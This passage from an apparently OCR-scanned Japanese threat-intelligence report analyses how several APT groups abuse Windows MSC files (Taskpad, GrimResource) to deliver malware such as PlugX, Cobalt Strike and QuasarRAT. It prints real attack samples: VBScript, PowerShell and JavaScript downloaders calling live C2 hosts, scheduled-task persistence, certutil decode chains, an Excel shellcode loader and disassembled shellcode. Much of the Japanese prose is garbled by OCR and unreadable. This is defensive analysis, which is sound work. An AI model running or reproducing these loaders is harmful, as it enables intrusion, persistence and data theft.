$s_4 = "ExecuteShellCommand"
$s_5 = "ControlObject"
$s_6 = "ScopeNamescape"
condition:
new_file and $xml at O and $sig and any of ($s_x*)
}

V—2O— R 1: BRENERICERLZ YARA JL—IL

BAEZBRFELHBIIN—TANORRETHELICE 3. REKRIIR 27, 28D &L 5ICHD E LT
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30

Count

20

Technique

27: BREFAICLIREHDOHE

75

50

25

00+

28 X3 <
00 P P e
o 0&"?‘@ ®

28: WY )L — S L 3 BEHROHE

CCT BFEZUTOLSICHELTVET,
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e Taskpad : A—HDIV U Y I ZELTIAV Y RZETITZHDZHELTVET, OT 2 FEIT
DFEIZDWT, cmd.exe. PowerShell. Conhost #ERHTORTZEHAL TVET,

e GrimResource : apds.dll & XSS HfEggEx*BAWVWTIAT Y RERTIZDHDEDELTVWET,
XMLARICZAZ )T EHRMEBAEFATVWEHD. XU T RZNEY A I URLIEETEIELIZIT
CHODTBEZHALTVET,

e Kamikaze : ActiveX O FO—JLOMESEEEZRWVWTIAR Y FEERTITEIFEZDELTVET,

BFEOMBARRZ. BTEICES LIS THR29ICBD ET,

Technique
I Taskpad
12 mm Kamikaze
I GrimResource

10

Count

2024/04 2024/05 2024/06 2024/07 2024/08 2024/09 2024/10 2024/11 2024/12 2025/01
First Submission

29: BFRFC L OBMFEM AR

JZITI5MSCT7IILE D)y Y (RT) LIFEIF T A—HigfEepBr 89T X700 ~
HYEIBEAR GrimResource BNIRELUMDSZ L FEOLNTVWB e HHMD FF, LH L. GrimResource
DOIEFEEMNMEEINTUR., FEE LTEISEhnal -7l bhhbEd,
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5 WEExvy>oR—Y

AETIE. CNETBEBNLIEEEMSC 77 MIILEHAVWEREBIIL—Te. TNSHRERMATIRE
FroR=VIZDVWT T DBNALET, BHTIE. FNZNREIO—CHIIHEX v OR—VDEE
R, ZOFMOWTEBNLET,

5.1 DarkPlum

2024 3 BtEH 5 DarkPlum (2% WL\ME APT43 % Kimsuky & HIEEN D) ICK B EARCEEICH S
BZWETMSC 77D BRESNAD F L7 [17, 18] ARIREF v > X —> Tl& ReconShark[19] & L)
SERY—ILHMEHDNTED., Email ICK>TEME MSC 771 ILEEHELE I, REITIE. DarkPlum
ICKBMSC 77 ZBRALAKED7O—X. TOFEMICOVWTBNLET,

51.1 ®ZEO-
DarkPlum I2& 3 MSC 7 71 ILOEREHITIZ. MESOEEHELIZIBELHD EFITH. bBLE
30DKSICHE>TVWET,

Distribution C&C
Website Lo} Server Server
Q /4 4
[@] E3 | |
e A e —
A a
decoy Download Communicate

| N
O Execute
Ea___> o | Execute,

Email i

Taskpad

—@a—®

HTA

30: DarkPlum OXE 70—

DarkPlum (& Email ZE2RICL. B MSC 7 7ML ZWERBRICATVO—REEFT, COEMR
MSC 77 ILIET7 A A ZBELTED, —fRD Word 7 71 JLX° Zoom 7 71 JLICREMFTET (K
3)e TNSDEMMSC 770 EZRFI TR EENZNEK 32, 33DLS5IC Word 7 71 )X Zoom %
EEFTB1HDI Y IHBINTVBEELSICRRAET, COUYIEI YU TEHILTEEI-RY
ERITINZET,
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E' NZZ Interview Kohei Yamamoto.msc

@ ZOOM.msc

X 31: 7> DEE

v | @

ﬁ File  Window Help - & x @ File Action View Favorites Window Help - & %
[_1 Security Mode [_1 Zoom Meeting

Open .
MNZZ,Interview,Kohe\' @w

Yamamoto.docx

X 32: Word 7 O Vg 33: Zoom 7 O ViEEEE

5.1.2 FEHDH

EMO-ROF%ER 34 ICRLET. 551 powershell I— RTEHINTHSOD., £FTFA1 771
JLE LT Word h* Google RFa XY bZATET, HLLIE Zoom DAY A M—=F& AT >O— R,
RITL Zoom IV SA TV R 7 FVr—oaveiE8L &9,

explorer "https://docs.google.com/document/d/1R3zhXXsPPWg3an@aV1Sqdj1SC1dM17L2/edit?usp=sharing&ouid=110632654410291203272&rtpof=true&sd=true" &
On Error Resume Nex
ws = CreateObject("
fs = CreateObject(*Scripting.FileSystemObject"):
Post@ = CreateObject("msxm12.xmlhttp"):
gpath = ws.ExpandEnvironmentStrings(“sappdata%") + "\Microsoft\s

bpath = ws.ExpandEnvironmentStrings(“%sappdata%") + "\Microsoft\s

If fs.FileExists(gpath) Then:
re = fs.movefile(gpath, bpath):
re = ws.run(bpath, @, true):
fs.deletefile(bpath):
Else:
Post@.open "GET", "https://orientedworld.com/wp-content/plugins/health-check/pages/gorgonl/d.php?na=battmp", False:
Post0.setRequestHeader "Content-Type', "application/x-www-form-urlencoded":
Post0.Send:
10 = Post@.responseText:
f = fs.CreateTextFile(gpath, True):
f.Write(to):
f.Close:
End If:

>""C:\Users\Public\Pictures\temp.vbs" &
/create /tn OneDriveUpdate /tr "wscript.exe /b C:\Users\Public\Pictures\temp.vbs" /sc minute /mo 41 /f &
/min mshta https://orientedworld.com/wp-content/plugins/health-check/pages/gorgonl/ttt.hta"

34: Taskpad TETINZEMHI— RFOA

RICEO— RA® VBScript A— K% temp.vbs E LTETHL. RRIATTa—FIC&>TID
VBScript Z EHARICEITLE T, COLEITRRVRAIFEREFEELTH D, powershell I— ROREH R
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A72BIZZELETH. ENHBHBITO-—KTRLEABRCEULET. FktltLAaVEEDHE
ELEY.

Bf%IC. mshta.exe ZAWVWT C&C H—/N—H5 HTA 7717 JL (£7=1& MANIFEST 7 71JL) %4
YUO—R. BTLET. HTA 77 1L TIHBKKOEHRERE L. %IFLD VBScript 7 71 LOE
BZHERLET. CNUCE>T VIV T7OEEFTvIZLTVWBZENARET, HTA O 70
ILTEIE T3 BRISBREICE >TEAD. Ny TU—BREEEFO IO ABERZEIFTIHD .
7OERVRAMERBITZDD0HHD £, BFLAERIZ POST BIEICK 2T C&C H—/N—~ZEEF
InEd,

On Error Resume Next

Result=""

isProcessRunning = ""

Set ws = CreateObject("WScript.Shell")

Set WMI = GetObject("WinMgmts:")

Set Objs = WMI.InstancesOf("Win32_Battery")

Set fs = CreateObject("Scripting.FileSystemObject")

For Each Obj In Objs
isProcessRunning = isProcessRunning & Obj.Description & " "
Next

Set Objs = WMI.InstancesOf("Win32_Process")
For Each Obj In Objs

isProcessRunning = isProcessRunning & Obj.Description & " "
Next

isProcessRunning=LCase(isProcessRunning)

If fs.FileExists("C:\Users\Public\Pictures\temp.vbs") Then
Result = Result+"sch vbs ok "+"ENTER"

Else
Result = Result+"sch vbs no "+"ENTER"

End If

Result = Result + isProcessRunning + "ENTER"

Set Post@ = CreateObject("msxml2.xmlhttp")

Post@.0pen "POST", "https://orientedworld.com/wp-content/plugins/health-check/pages/gorgonl/r.php", @
Post@.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"

Post@.Send (Modi(Result))

35: HTA 7 7 1 ILORA
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5.2 DarkPeony

DarkPeony (# % \L\d& Mustang Panda Y EN3 Z&HHB) 1£2024 F£5 BELS MSC 771l
ZEALLKEX vy OR—2 [10) ZBELTWVWE T, HHF Taskpad 5 PowerShell Z41 L T PlugX
ERITLTVE LA 2024 F 7 BEH'S GrimResource % B LA £ L7=o KEITIX. DarkPeony
ICEBMSC 7 7ML ZERLAEREDT7O— . TOFHMICOVWTENLET,

521 WEIO-—

Distribution c&C
Server y Server p

Download Communicate

=)

\ Taskpad PS1 \
- D O x
OO Execute Execute L O —
MSI Execute
GrimResource B PlugX

Decrypt

D]

Email

Website

Load

VBS Execute

EIpcy

Side-Loading

36: DarkPeony OWE 7 O—

DarkPeony IZIEEICREVERET MSC 7 71 ILEZERLBOHTE D 2024 &£ 5 BICIE Taskpad %
FEoMEZITo>TWVWE LT, EDE. 2024 F£ 7 BIZ7% 3 & Taskpad 75 GrimResource IC#1TL £
L7

Taskpad DHFE. B IA—RFORTICA—HF DI )y V1RENBERTLH. K37 DELSICENZTF
BIZHDICHIAEINTUVWEYT, PDF 771U RFa X I 7LD T7AAVHRESA. &
5 Taskpad DUV IR T 7AINADI 2V IDESICEREDMTTVET,
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[ Meeting_Invitation - [m] X

[ File Window Help - &8 %

_ Meeting_Invitation

Open File

@ Meeting Invitation.pdf

37: I 37z Taskpad D) >

EE5DHETH MSC 77 MIILHSRITEINZIRIZFA—T. B3B8 DESICA>Z—y bED
MSI 771 Edo>O0—R «RTLET, MSI 77 1ILICIFEXE 770 J)LE DLL 7 7 )L DAT
T7AIDEENTHDO. DLL Side-Loading IC& > TDLL 77 A ILAO—REhd . DAT 771l
Z7A—RLTEITLET, REMICIE PlugX BETETN. BEHTHONE T,

$ceed=new-object -comobject 'WindowsInstaller.Installer’;
$ceed.uilevel = 2;

$ceed.installproduct('https://versaillesinfo.com/brjwcabz', 'REMOVE=ALL");
$ceed.installproduct('https://versaillesinfo.com/brjwcabz');

38: Taskpad N5%E{TEN 3 PowerShell 1—F

5.2.2 F7UE R

DarkPeony h* MSI 7 7 1 JL% 2% L TL 3 Web - k&, Cloudflare ZER L T7 7 & X HlfEi%
ToTVWBIBED B FT. CHISIZRHREBICIEMSI 7 7 A IILZEBRAEL DD VT —F v —P@HIY
DUILKBTIOERZTOVvITEEMNDH B EHEREINE T,
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Sorry, you have been blocked

You are unable to access versaillesinfo.com

Why have | been blocked?

This website is using a security service to protect itself from online
attacks. The action you just performed triggered the security
solution. There are several actions that could trigger this block
including submitting a certain word or phrase, a SQL command or
malformed data.

What can | do to resolve this?

You can email the site owner to let them know you were blocked.
Please include what you were doing when this page came up and the
Cloudflare Ray ID found at the bottom of this page.

39: 7 RAPETINHKF
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5.3 BugPeony

BugPeony (@ % UL\& Earth Boxia EIFENZ b HB) 1£2024 F7 BEHNS MSC 771 ILEE
BLEREXv>OR—2[20,21] ZBALTVWE T, X—ILIZHREINTED. $HB LI Web 1 b H
5477 YAO—RENMSC 771 I)L%ERL & GrimResource Z /7 L T CobaltStrike "RITINE T,
AEITld. BugPeony I2&D MSC 77 M ILEZBRALICKED7O—X. ZOFMICOVWTHEBNALEX T,

53.1 HZEIO-

Distribution c&c C&C
Server Server Server
S — e — e —
Download Communicate Communicate

O
& Execute o) Load QO H
MSC VB
GrimResource CobaltStrike

Website

AppDomainManager
@ Injection

40: BugPeony OIE 7 O—

BugPeony IZXE 7 71 v Y5 X— L% Web - FEA LT MSC 7 7+ L& (EHICEA L £ 90
A—HHMSC 7 70ILZR< &, GrimResource IC& > TH 41 D& 57 VBScript J— RHARTEHN
F9, ZDVBScript A—Rid. HWEEHLAEL Web H—NHhS5EBODT77rILEAT>O—F L.
COFNS EXE T 7ML ERITLET,
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strURL1 =
strURL2 = "https
strURL3 = "https
strShowfileURL =
strDownloadPathl
strDownloadPath2

"https

strDownloadPath3 =

://wordpresss-data.s3.me-south-1.amazonaws.com/oncesvc.exe"
://wordpresss-data.s3.me-south-1.amazonaws.com/oncesvc.exe.config"
://wordpresss-data.s3.me-south-1.amazonaws.com/water.txt"

"https://wordpresss-data.s3.me-south-1.amazonaws.com/ws.pdf"
= "C:\Users\Public\oncesvc.exe"

= "C:\Users\Public\oncesvc.exe.config"
"C:\Users\Public\water.txt"

strShowfilePath = "C:\Users\Public\wrasb.pdf"
strExecutablePath = "C:\Users\Public\oncesvc.exe"

Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")

If Not objFSO.FileExists(strDownloadPathl) Then

DownloadFile strURL1, strDownloadPathil

End If

If Not objFSO.FileExists(strDownloadPath2) Then
DownloadFile strURL2, strDownloadPath2

End If

If Not objFSO.FileExists(strDownloadPath3) Then
DownloadFile strURL3, strDownloadPath3

End If

If Not objFSO.FileExists(strShowfilePath) Then
DownloadFile strShowfileURL, strShowfilePath

End If

objShell.Run strExecutablePath, 1, True

objShell.Run strShowfilePath, 1, True

41: {7313 VBScript A—R

EXE 7 7 1 LI Microsoft DB GG ESNIEEROT7 SV r—>3>Td, LHL. EXE
77A4NIEEAICLT ALY FUICEEBINIEERD config 77 M IV EHRAHAAHEFT. CNICEDT
AppDomainManager Injection BF4E L. BICDLL 7 7 ILEA T O—RLTEITLET, BEMIC
I& CobaltStrike E—JVHAEITEN. BEIMMTOIAET,

5.3.2 AppDomainManager Injection

BugPeony @ MSC 7 71 JLIZ EXE 7 71 ILE[E$AD config 77 AL EZXD>O—RLFEY, Ch
IZIEE 42 D & 5 IC dependentAssembly & WS ERED IR EINTWVE T, dependentAssenbly (. 77
D=2 avilHhoh LOHEBINN—Ja > eFBREZIN—-2a > o7e> 00— REE 3%
HOWEETTH. WEBICNZERATZ3ETATD DLL 7 71 IILEIERD EXE 77 J/LicO—F
TEEXT,

31
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configuration
runtime

assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"

dependentAssembly
assemblyIdentity name="oncesvc" publicKeyToken="205fcablea®48820" culture="neutral"
codeBase version="0.0.0.0" href="https://360photo.oss-cn-hongkong.aliyuncs.com/202407111985. jpeg"
dependentAssembly
assemblyBinding
etwEnable enabled="false"
appDomainManagerA nbly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcablea048820"
appDomainV gerType value="oncesvc"
runtime
configuration

42: config 7 71 )L DB

DLL 7 71 JLICIZE 43 D & 51, AppDomainManager 7 5 X #MEAL =0 S ADERINTED.
ZDHH 5 InitializeNewDomain A UHINE T KEEIL InitializeNewDomain A S ER
DHZDEHERTI D CHEERETT,

public sealed class oncesvc : AppDomainManager

{

public override void InitializeNewDomain(AppDomainSetup appDomaininfo)

{
Task task = Task.Run(delegate()

{

oncesvc.snowlackingattempt95384.chocolatenoiselessveil36778();

})s
task.Wait();

43: InitializeNewDomain B%
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5.4 Bitter

Bitter |& 2024 & 10 BEHL'S MSC 7 7 ML 2 BRA LR BF v o R—VZERBAL TVLE Y, Bitter
I %] GrimResource ZZEF L T PowerShell J—RZETLTWE LA 2024 F 11 BE¥EHLS
Taskpad % R L 7= PowerShell 1— FETICEITL £ L7e ZhIE Microsoft #1iC & » T CVE-2024-
4372 DEF 2 UTFABHFR SO S LPERHEN. GrimResource Z BATERL B2/ EHBERL
TWBATREMD H D £9, AEITIE. Bitter IC&D MSC 77 M ILZBALEKEOIO—X. TOFHF
M DOVWTHBNALE I,

541 KEIO-—-

Download

II
Taskpad / PS1

O ‘ \ Drop x
@ —_ (o} Execute Execiite —) M
Execut
Email MS( / PS1 seure

GrimResource % / Malware

44: Bitter OE 7O —

Bitter FXET 71 v VI X—=)LP Web # 1 hZNLTMSC 771 ILzERALTVWET, 2024
F 10 BtEIX Taskpad Z@E > 7cIEZ T o> TWE L7=H. 2024 & 11 AH5 GrimResource # ERAL T
WE7,

Bitter I& MSC 7 71 ILD 7 7 JL%IC RLO Z{EE T35 Z X T 45 D& S ICHERFZHBELELS
CHRATVWET,

IER Communicaton_Ltrcsm. pdf

E@ Suggestion Points Seminar on Geopolitics Shifts in the Asia-Pacificcsm. pdf
45: RLO ZfE>7c7 71 I)L%

EE5DHBETH. MSC T 7 A UDBSRITENBUBREESLZRALTY. MSC 771D 5EM

OA—RPETEINZ . K46 DESBEARAINBRINE T, DY E. conhost.exe £/ L TEITT
BT EFaVTFqBRICLZBEAMEEEBELEIS L TVWR EHREINE T,
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conhost.exe --headless cmd start /min /c schtasks /create /tn
PolicyConverter /sc minute /mo 15 /tr "conhost --headless cmd /
v:on /c set a=https&set b=inh&set c=ostne&set d=tservice.co&set

e=lal://www.!b!!lc!!dIm& curl -o - !e!/mscu/lokc.php?
wl=%computername%**%username% | powershell” /rl Highest

X 46: RESNBZRXRY

CDRRTIE C&C H—/N\D5 PowerShell I—RZH T2 O—F - RITTELSICRESNTVE
Yo WEBEICE > THNNBENRRETHNL, BIMTIILYIT7HE T rO0-F - ZITShEIHN
MEZEFENZHALTLERE A
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5.5 Patchwork

Patchwork |& 2024 £ 11 AEHS5 MSC 7 71 ILZBRALEREXF v OR—VZERALTVWE T,
Patchwork I3fiDZ < DHEEF v > R— 2 EIEEE D GrimResource ZWE L 1=FiEZ > T MSC
T771ILEERLTWETY, REITIE. Patchwork IC& 2 MSC 7 7 IILZERLHEO7O—&.
ZOFBICOVWTHBNLED,

5.5.1 XEEIO-—

Distribution C&C
Server Server
-ﬁ i i-ﬁ ‘

—— ——

Download Communicate
= o o
@ Execute El @ oo | ; $
Email J S
GrimResource Malware

DLL Side-Loading

47: Patchwork OWE 70—

Patchwork {3 2024 & 11 BIZ MSC 7 7 M L ZBRA LB ZITWVWE L7z GrimResource Z {5 i
DXy IR—=VEIFERD, res 7O R E apds.dll D XSS %ZfF o7 JavaScript A— RDERITFET
1353 <. K48 DL SICERE URL 2IEE Y D Z & T JavaScript I—REZRITIETVET,

StringTables
IdentifierPool AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="17"
StringTable
GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE }</GUID
Strings
String ID="1" Refs="1">Favorites</String
String ID="6" Refs="2">Console Root</String

String ID="13" Refs="2">OracleAcademy</String

String ID: Refs="1">https://siasat.top/xyzxyzhanoiwhb3237gb2wahabjiki/Vuznbe3fbo234t34-snake-2723.html</String
String ID="15" Refs="2">Help</String

String ID="16" Refs="1">{2933BF90-7B36-11D2-B20E-B0CO4F983E60}</String

Strings

StringTable
StringTables

48: GrimResource O

Web 41 kDS54 >O— R - BfTS N7z JavaScript — RiE. System32 [ZEH LTS Dism.exe
% ProgramData ICOE—L X9,
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var fso = new ActiveXObject('Scripting.FileSystemObject');
var shell = new ActiveXObject('WScript.Shell');
var sourcePath = 'C:\\Windows\\System32\\Dism.exe";

var appDataPath = shell['ExpandEnvironmentStrings']('%ProgramData%') + '\\Dism.exe';
fso[ 'CopyFile'](sourcePath, appDataPath, !![]);

49: EXE 7 7 )Lz 21—

ZD%. N—RIA—RENiT—2%ES L. ProgramData IZ DismCoredll £ \W\5 7 7 1 LA TR
F#LEY,

var dllPath = shell['ExpandEnvironmentStrings']('%ProgramData%') + '\x5cd9y3d2t7-jt32-s32s-kechw1297245.tmp";
var stream = new ActiveXObject('ADODB.Stream');
stream[ 'Type'] = ©x1, stream['Open'](), stream['Write'](binaryData), stream['SaveToFile'](dllPath, @x2), stream['Close']();

var newDllPath = shell['ExpandEnvironmentStrings']('%ProgramData%') + ‘\x5cDismCore.dll’;
fso[ 'FileExists'](newDllPath) && fso[ 'DeleteFile’](newDllPath);
fso[ 'MoveFile'](d11lPath, newDllPath);

50: DLL 7 71 )L Z{ERX

REIC. RISl DESICEXE 77 AN ERTT IR RV ZRELEF T EXE T 71 ILHAEITEND
. BT Lo RUIZTEET B DismCore.dll ' DLL Side-Loading IC& > TFHRARAEFNTIIL T T
PERITETNET,

var trigger = triggerCollection['Create’'](0x1);
trigger[ 'Repetition'][ 'Interval’'] = 'PTO1IM', trigger
['StartBoundary'] = '1995-12-31T0©9:00:00";

var actionCollection = taskDefinition[ 'Actions'];
var action = actionCollection['Create’](0x0);

action['Path'] = 'C:\x5cProgramData\x5cDism.exe"', taskDefinition

[ 'RegistrationInfo']['Description'] = 'Microsoft Edge Update Core
Service Pack SP1', taskDefinition['Principal’]['LogonType'] = ©x3;
var taskFolder = rootFolder['RegisterTaskDefinition']
('CoreEdgeUpdateServicesTelemetryFallBack', taskDefinition, ox6,
null, null, ©x3, null);

51: EXE 771 Z2RITIBHRY
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5.6 Sticky Werewolf

2024 F£ 9 BHv 5. Sticky Werewolf IC&2 MSC 7 7ML ZEBER LIEKREL: v O R—2VZEHALTWL
F9o COF Yy IUR—VTHAINAETIACDOPDF 777 )LiE. O FETEHINTED., /=2
NEORBEHLS O THAFPOS 7OEEREICEE L CABHIZEN SNIaTEEMLH D £7,

AETIF. OST7EENELIZEEZBNS. 2007 —XD MSC 771V FBLIEKEF v >
R=YOFBIOVWTBNLET,

56.1 7—X1

KEIJO— 77— 1TRNTZEHIF. RBOLEFRIERZ 2 DORKERSELE L, Tneh
DEFRIZIUTOED T, LE5DT—RXBFFA TN ShellCode ® C&C D IP 7 FL XIEELHD
—C“[.zTCo

BRIK1O2EF, MSCT7ALZERIC. EXETZ 7MLz Oy L. ETLEY. EXE 771 ILIZ.
Aa Nz ShellCode ZXEUATES L. C&CATIERL. BUFLIRIO—-FZETLET,

C&C
Server
L
Download
Taskpad
Drop x

® MSC Execute EX

Unknown Malware

m

52: 1R{A 1 D&

BE2DLEE MSC 771l %=EEIC. PowerShell — R%ZEE BAT 7 71 ILHS Excel ZFEE)
L. VBScript d— R %3ET. Excel ® 7O+ XIZ ShellCode D A—Rar >z o> a>eEHAET,
ShellCode Tld. C&CAT7IEXL. BIELIRIO—FREETLET,
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C&C

Server
£3)
e

Download
Taskpad
O Drop Execute Execute x
—_— |V | — | (&) | —— ; , ° ; $
Execute VBScript
¢ BAT injection EXE
Unknown Excel Malware

53: 1RIK 2 D&

5.6.2 F¥HDHT

BALRE 2 DOREKIF. 55D RPOUEDBELIRNZ WA RIE 2 D Excel ZFIA L IRIFICD
WTIRBNLET,

A—HF—HMSCT7AINERZTV Y IEIVYITEL. MSC T 71 ILOTEBICEBHAFTFN TV
base64 TIT > O— RENIcT— &% certutil.exe THHELFET, MSC 771 ILDERDRAO—R®D
HMBICKRITEINZOTY VR0 2IERK 54 DBD T,

"C:\Windows\System32\cmd.exe" /v /c "k=%cd%\19_09_2024.msc"& IF NOT
EXIST "!k!" (for /f "tokens=kx usebackq" %g in ( where /R
"suserprofile%" "19_09 2024.ms"? ) do set "k=%g")>nul 2>&1)&set "f=r"&

set "o=%localappdata%"&>nul ce!f!tutil —-decode """1!k!""" !o!\cleu.t&ren
"lo!\cleu.t" cleu.cmD&!o!\cleu

K 54: MSC 7 71IILHSRAO— REFHETIEOITVRZ1>

M N BAT 7 71 LD TEBICIE PowerShell — RS ENE T, D PowerShell O— RiZid.
Excel ICHEA TN VBScript I—RAEENTWVWET, BAT 7 71 ILH5 PowerShell K& S 11,
55 M & 57 PowerShell 1— RAETEINET,
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function SetVBOMKey{
param (
[string]l$x1Version,
[int]$newValue

$regkey = "HKCU:\Software\Microsoft\0ffice\$x1Version\Excel\Security\"

Set-ItemProperty -Path $regKey -Name "AccessVBOM" -Value $newValue -Force

function main{

$strEncode = encodedStr
$strDecode [System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String($strEncode))
$nbrLigne p

$excelObj = New-Object —ComObject Excel.Application
$x1Version = $excelObj.Version

$excelObj.Visible = $false

$excelObj.DisplayAlerts = $false

SetVBOMKey -x1Version $x1Version —-newValue 1

$workbook = $excelObj.Workbooks.Add()
$vbProject = $workbook.VBProject
$module = $vbProject.VBComponents.Add(1)
$strNameModule = $module.Name

$initm = "Private Sub Workbook_NewSheet(ByVal Sh As 0"
$initm += "bject) 'n"

$initm += $strNameModule + ".Workbook_Open'n"

$initm += "End Sub'n"

$workbook.VBProject.VBComponents ($strNameModule).codeModule.InsertLines($nbrLigne, $strDecode)
$workbook.VBProject.VBComponents(1).codeModule.InsertLines($nbrLigne, $initm)
$mSheet = $workbook.Sheets.Add()

Start-Sleep -Seconds 2
SetVBOMKey -x1Version $x1Version —newValue 0

X 55: BAT 7 7 JL® PowerShell J— RE%

PowerShell D O— RICL > TRITINZ3HRBISIUTDED TY,

1. Excel TN/ OZERXMGICEBMLEITTETSL5. LA MUZELE
HKEY_CURRENT_USER\Software\Microsoft\Office\<Version>\Excel\Security\AccessVBOM
IC 1 ZRE

2. ¥A 93 VBScript 1— RO

3. Window QIR T5—HEDT T — FHIFIFRE SNTARET Excel ZES)

4. Excel IC7—20 7 v U % {ERK
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D —2 7wl VBScript d— R%Z#EA
D=0y oRBWED, D=0 7w oIllo—rEBMUIEBICO-INy I SN 3E8H%z8
. HXEFAMCE /BRI, 5 ICTHA LT VBScript — RAFUH TN S

7. —bF#ZEEBML VBScript A— RZMEUHL

WA TN VBScript I— RO—ERIFEFUEA T TVWET, FOYTEINZTIACDPDF 771l
HEENFT, F7=. ShellCode HIEBDAENTHOH. 56 DL SIC. Excel I LOA—R1>P Ty
arveEEsHFTVET,

Dim LnanEar|leavMInin As LongPtr

Dim SetiMhmalpb|Rnach As Long

Set iMhmalpb|Rmaoh = 0 T

LnanEar | TeavMInin = 0

ReDin ImofIctsOarcOe(D To UBound(HI mHuts_rhmt))

For Ta_pRpmuTaeoRaf = LBound(H|_mHuts_rhmt) To UBound (HI _mHuts_rhmt)

Inof IctsOarcOe (Ta_pRpmuTaeoRaf ) = HI_mHuts_rhnt (Ta_pRemuTaeoRaf)

Next Ta_pRpmuTaeoRaf

LnanEarTTeavMInin = V\rlualPrntecl(VarPlr(ImofI:tsOarcOe(U)) UBound (Inof IctsOarcOe) + OhoaEaebOlubHcot, &H40, VarPtr(SetiMhmalph|Rnaoh))
If LnanEarlleavMInin <> 0 The

Dim UcecTla As LongPtr

Dim result As Variant

result = vbEmpty

| écgc}#a = DlspCaIIFunc(chuElthnonl, VarPtr(Inof IctsOarcOe(0)), CLng(4), VbVarType.vhEmpty, LpcoEithCnoni, 0, LecoEithCnoni, VarPtr(result))
n

End Sub

56: Excel [CO— K> x> 3293 VBScript —F

57 |Z ShellCode DRHIRER D T, FEHADBRII/N—RI—RINTED,. BMUET API (X, API
Hashing IC & > TEFHME TN TULWE T,

.text:00000000004010DB mov ril4, 707474686E6977h A
.text:00000000004010E5 push ril4

.text:00000000004010E7 mov rcx, rsp

.text:00000000004010EA mov rle, 726774Ch ; LoadLibraryA

.text:00000000004010F 1 call rbp ; call 40100A

.text:00000000004010F3 push rbx

.text:00000000004010F4 push rbx

.text:00000000004010F5 mov rcx, rsp

.text:00000000004010F8 push rbx

.text:00000000004010F9 pop rdx

.text:00000000004010FA xor r8, r8

.text:00000000004010FD xor r9, r9

.text:0000000000401100 push rbx

.text:0000000000401101 push rbx

.text:0000000000401102 mov rle, ©BB9D1F04h ; WinHttpOpen

.text:000000000040110C call rbp

.text:000000000040110E mov rl2, rax

.text:0000000000401111 call loc_401134

.text:0000000000401111 ;- - oo oo oo oo oo

.text:0000000000401116 321318354123:

.text :0000000000401116 text "UTF-16LE", '213.183.54.123',0

.text:0000000000401134 I e e
.text:0000000000401134

.text:0000000000401134 loc_401134: ; CODE XREF: .text:0000000000401111Tp
.text:0000000000401134 pop rdx

.text:0000000000401135 mov rcx, rax

.text:0000000000401138 mov r8, 20FCh ; 8443

.text:000000000040113F xor r9, r9

.text:0000000000401142 mov rle, ©C21E9B46h ; WinHttpConnect

.text:000000000040114C call rbp

.text:000000000040114E call sub_4012FF

.text:000000000040114E 3  ; ----------e--emme e eeeeeeeceeececeeeeee——eea-

.text :0000000000401153 aHttp5213183541

.text:0000000000401153 text "UTF-16LE", 'https://213.183.54.123:8444/Inter-Regular.woff/-EEb’
.text:00000000004011B9 text "UTF-16LE", 'EJBODX9DBUIHJe@hJQOEOEKOlr-p4xEk6WSSs@tUfsCIdSqYB23'
.text:000000000040121F text "UTF-16LE", 'qz_Pr_6TmAmEDhpyem74y-_Jv@f03T12fkp7BqWUKHCGKECTIYYA"
.text:0000000000401285 text "UTF-16LE", '10ghGzh9QFriVKGM@n3jnnclZgenuj-d2nDXL4aUmKRBO7jRdvO"
.text :00000000004012EB text "UTF-16LE", '6BBXfxw4S',0

57: ShellCode DREAERD

ShellCode MZE&F C&C DISET—2%E XEU EICEBEL. R1TLET,
SOC THRDRF—SDRAO— REAFETEEHATLID, F6# [22] IC&B L C2 TL—L
T—2I®D Sliver DAV TS bHBE T O—-— RSN VWSIEREHD £,
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5.6.3 7—X2
KEIO— 22BOT7—ADEFFRIIUTOLSICHED £,
MSC 7 7 JLZFERIC. NSIS(Nullsoft Scriptable Install System) > X b—Z—H'5 Autolt I—F
T7AINBREH ROy 7« RITIN. KBUERE. Windows DIEFRREIT T 7 1 JLIC QuaserRAT hi+ >
PrxoiarvEh. IILTITICRELETD,

BAT =

Taskpad

A3X
Drop Drop 0 Drop Combine Execute Lo}
PR w e

Execute

Execute Execute Execute Injection
MSC BAT &
Unknown
% o) RegAsm

AutoIT

Cc&C
Server,

= r Communicate

QuaserRAT

58: 7—2R 2 RIEDLEHBKR

5.6.4 EFHEDO
MSC 774 RAE. A—H—HV>0%Z o)y I§23TAY Y RAERTEINET, 7—X 1
Kﬂﬁt: base64 T> A— R EINT=T—EHIBE>TED. certutilexe ZFAL. R A >7= MSC
7AIDSE BAT 770 L ZHH LETLE D,

"C:\Windows\System32\cmd.exe" /v /c "k=%cd%\25-09-2024.msc"&(IF
NOT EXIST "!k!" (for /f "tokens=x usebackq" %g in ( where /R

"suserprofiles" "25-09-2024.ms"?° ) do set "k=%g")>nul 2>&1)&set "f=r"&
set "o=%localappdata%"&>nul ce!f!tutil -decode """!k!""" lo!l\itee.t&
ren "l!o!\itee.t" itee.cmD&!o!\itee

K 59: MSC 7 71D 6RAMO—RZHETIBOIAT VI RS1Y

CDBAT 771J)LICIE. PDF 77 1J)LE EXE 7 71 ILHMESDIAENTED . certutil.exe ZFIAL

TINS5DT7 7ML zHmELET,

HHEINT PDF 7 7 M ILAMRAR ETRERENB EEDHIC. EXE T 7MILHRITENE T, EXET 7
TILIENSIS T ENcA YA =5 —THD. BEROT 7MLz FOYFLET,
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admin AppData Local

Adrian Cayman

Documentation Excluded Followed Licensed

Fort

Mariah Martial Matthew Pointed

Regression Remainder Responsibility Royalty.bat Seminars

Specifications Stewart Subsidiary Wonder

K 60: rOvraner7r71I)

s ROYyFENTT 7LD 5. BEDWUIEZ T3, #HFLEINTWVLS BAT 7 71 I/LZiEEE
LEY,

UIRZFilters Enough Guatemala Recommend
QeHyundai Disclose Perfect Subjects Numbers Softball Employers Stations Latvia
tXFBreaking Clock Dot Alternative Lectures Cookies Bosnia
yHTurkish
EWWJImpaired Charts Coffee Hop Imports Beef Bl Antique We
xhAndrea Soldier Mississippi Conferencing Dated Institutional Athletic
Berkeley=3
mX0Cbs Cookie Webmaster Public Divisions Sprint Comes
KnQsTit Gale Photograph Leaves
